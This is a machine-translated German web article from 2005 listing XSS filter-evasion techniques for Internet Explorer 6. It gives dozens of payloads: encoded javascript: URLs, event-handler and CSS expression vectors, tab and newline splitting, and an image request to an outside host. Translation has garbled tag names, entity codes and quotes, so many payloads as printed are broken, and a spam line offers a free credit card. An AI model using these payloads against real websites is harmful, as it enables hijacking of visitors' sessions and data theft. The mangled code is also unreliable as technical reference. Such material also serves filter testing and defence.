This page has been robot translated, sorry for typos if any. Original content here.

Merkmale HTML-Syntax

Urheber: Algol, zFailure - letzte Änderung 13.06.2005

Eine der wichtigsten Methoden zum Schutz von Webseiten, die auf XSS-Schwachstellen - ist es, verschiedene Filter auf den Zeichen vom Benutzer eingegeben zu verwenden. In diesem Artikel beschreiben wir die Eigenschaften der Syntax von HTML, die die Daten ermöglicht, die Filter zu umgehen.

Beachten Sie, dass XSS-Schwachstellen sind browserabhängig. Alle folgenden Beispiele wurden in IE6 getestet. In anderen Versionen oder anderen Browsern können Beispiele auch nicht funktionieren. ZB Reverse Apostroph ( ‚) Zeichen ist das Trennzeichen-Attribut nur in IE. Andere Browser wie Opera zum Beispiel, glaubt nicht, dass Charakter ogrnichitelem.

  • Separatoren Tag-Attribute.
    Neben Raum, ist es erlaubt , die Zeichen zu verwenden: Slash (/), Tabulator, neue Zeile. Der Separator ist erlaubt wegzulassen, wenn frühere Zugehörigkeit zitiert.
     <Bild / src = "1.png" / alt = "Tip" / border = "0">
     <Bild src = "1.png" alt = "Tip" border = "0">
     <image
     src = "1.png"
     alt = "Hint"
     border = "0">
     <Bild src = "1.png" alt = "Tip" border = "0">
    
  • Limiter Tagattribute
    Werte dürfen zitiert werden (Doppel- und Einzelzimmer) und Apostrophe erlaubt nur die allgemeine Begrenzung nicht.
     <Bild src = "" alt = "Mein Tipp" border = "0">
     <Bild src = "" alt = 'Mein Tipp' border = "0">
     <Bild src = "" alt = 'Mein podskazka` border = "0">
     <Bild src = "" alt = Tip border = "0">
    
  • Zeichencodierung
    Die Entzifferung der Zeichen im Skript kommt zu seiner Umsetzung:
      <Img src = javascript: alert (& quot; ok & quot;)>
     <Img src = javascript: alert (& # 039; ok & # 039;)>
     <Img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116 & # 58 & # 97 & # 108 & # 101 & # 114 & # 116 & # 40 & # 39 & # 111 & # 107 & # 39 & # 41>
     <a href=javascript:alert(%22ok%22)> mich klicken </a> (nur im href - Attribut)
    
    
  • Limiter Zeichenliterale im Skript
     <Img src = javascript: alert ( 'ok')>
     <Img src = javascript: alert ( "ok")>
     <Img src = javascript: a = / ok /; alert (a.source)>
     <Img src = javascript: alert (String.fromCharCode (111107))>
    
  • Umgehen der Filterung von einigen Zeichen
      <Img src = javascript: i = new / ** / Bild (); i.src = 'http: //bla.bla'> ( Ersetzen der Platz auf / ** /)
    
    
  • Methoden zum Ausführen von Skripts
    Mehrere Möglichkeiten, um automatisch Skripte auszuführen:
      <Script> alert ( 'ok') </ script>
     <Script src = 1.js> </ script>
     <Body onload = alert ( 'ok')>
     <Meta http-equiv = Refresh-Gehalt = 0; url = javascript: alert ( 'ok')>
     <Bild src = 1.png onload = alert ( 'ok')>
     <Bild src = javascript: alert ( 'ok')>
     <Bild src = "" onerror = alert ( 'ok')>
     <Hr style = background: url (javascript: alert ( 'ok'))>
     <Span style = top: Ausdruck (alert ( 'ok'))> </ span>
     <Span sss = "alert () ; this.sss = null" style = top: Ausdruck (eval (this.sss));> </ span> ( funktioniert nur einmal) <style type = "text / css"> @import url (javascript: alert ( 'ok')); </ style>
     <Objekt classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <param name = URL-Wert = javascript: alert ( 'ok')> </ object>
     <Embed src = javascript: alert ( 'ok'); this.avi>
     <Embed src = javascript: alert ( 'ok'); this.wav>
     <Iframe src = javascript: alert ( 'ok')> ( nur in IE) <a href=javascript:alert(%22ok%22)> mich klicken </a> (nur ausgeführt , wenn Sie auf den Link klicken) <a href = javascript: alert ( 'aaa' + eval ( 'alert (); i = 2 + 2') + 'bbb')> click me </a> ( nur ausgeführt , indem Sie auf den Link klicken) <br SIZE = „& { alert ( 'XSS')} „> ( nur Netscape 4.x)
    
    
  • Verschiedene scripted Protokolle, Arten des Schreibens
      <Img src = javascript: alert ()>
     <Img src = vbscript: alert ()>
     <Img src = javascript: alert ()>
     <Img src = "javascript: alert ()"> ( Leerzeichen bis JavaScript - Wörter)
     
     <Img src = & # 106 & # 118 # 97 & # 97 & # 115 & & # 99 & # 114 & # 105 & # 112 & # 116: alert ()>
     <Img src = javascript & # 9: alert ()>
     <Img src = javascript & # 10: alert ()>
     <Img src = javascript & # 13: alert ()>
     <Img src = „javascript
     : Alert () „> (vor dem Doppelpunkt - ein Tab - Zeichen)
     
     <Img src = „java
     scri
     pt: ale
     rt () „> (innerhalb des Wortes Javascript - ein Tabulatorzeichen als Wagenrücklauf)
     
    
  • Legen Sie Skripte in Stil
    Script - Anweisungen im style - Attribute zu teilen „\;“.
     <Hr style = `background: url (javascript: alert ( 'ok 1') \; alert ( 'ok 2'))‚>
    
  • Spezielle Tags.
      <Image src = "1.png" alt = "" border = " 0"> (img - Tag und Bild der gleiche Arbeit) <Klartext> (alles wird später diesen Tag bewegt, wird als Klartext wahrgenommen werden - nicht HTML) <textarea> (alles wird später diesen Tag bewegt, wird als Klartext wahrgenommen werden - nicht HTML) <xml> (alles wird später diesen Tag bewegen wird in irgendeiner Weise nicht angezeigt)
    
    
  • Tabelle der am häufigsten verwendeten Codes:

    Symbol decimal Codierung 16. Codierung * Zeichencodierung URL-encoded
    " & # 34 & # X22; & quot 22%
    ' & # 39 & # X27; 27%
    ` & # 96 & # X60; 60%
    <Space> & # 32 & # X20; +
    <Tab> & # 9 & # X09; 09%
    <Carriage Return> & # 13 & # X0D; % 0D
    = & # 61 & # X3D; % 3D
    < & # 60 & # X3C; & lt % 3C
    > & # 62 & # X3E; & gt % 3E
    \ & # 92 & # X5C; 5C%
    % & # 37 & # X25; 25%
    + & # 43 & # X2B; 2B%
    <Kurz dash> & # 173 & # XAD; & shy % AD
    & & # 38 & # X26; & amp 26%

    * -in einigen Fällen kann ein Semikolon (wenn das Zeichen ist in der letzten Zeile oder einer Reihe sind einige Zeichen in der Codierung) weggelassen werden.

    . Ähnliche: http://ha.ckers.org/xss.html
  • Jetzt kann jeder Artikel veröffentlichen
    Versuchen Sie es zuerst!
    Schreiben Sie einen Artikel

    Nicht übel und Ihre Freunde diese Informationen herausfinden, teilen mit ihnen den Artikel!

    Wie es? Abonnieren Sie RSS Nachrichten!
    Sie können auch shram.kiev.ua unterstützen, klicken Sie auf:
    Erweitern / Reduzieren Expand / Collapse Box mit Kommentaren

    Kommentare

    Kommentieren, denken Sie daran , dass der Inhalt und der Ton Ihrer Nachricht , die Gefühle von echten Menschen Respekt und Toleranz gegenüber seinen Gesprächspartnern zeigen , schaden können, auch wenn Sie Ihr Verhalten in der freien Meinungsäußerung nicht ihre Meinung teilen, und die durch das Internet zur Verfügung gestellt Anonymität, Änderungen nicht nur virtuell, sondern reale Welt. Alle Kommentare aus dem Index ausgeblendet sind, überwacht Spam.
    Kostenlose Kreditkarte mit einem Limit von 15.000 US-Dollar.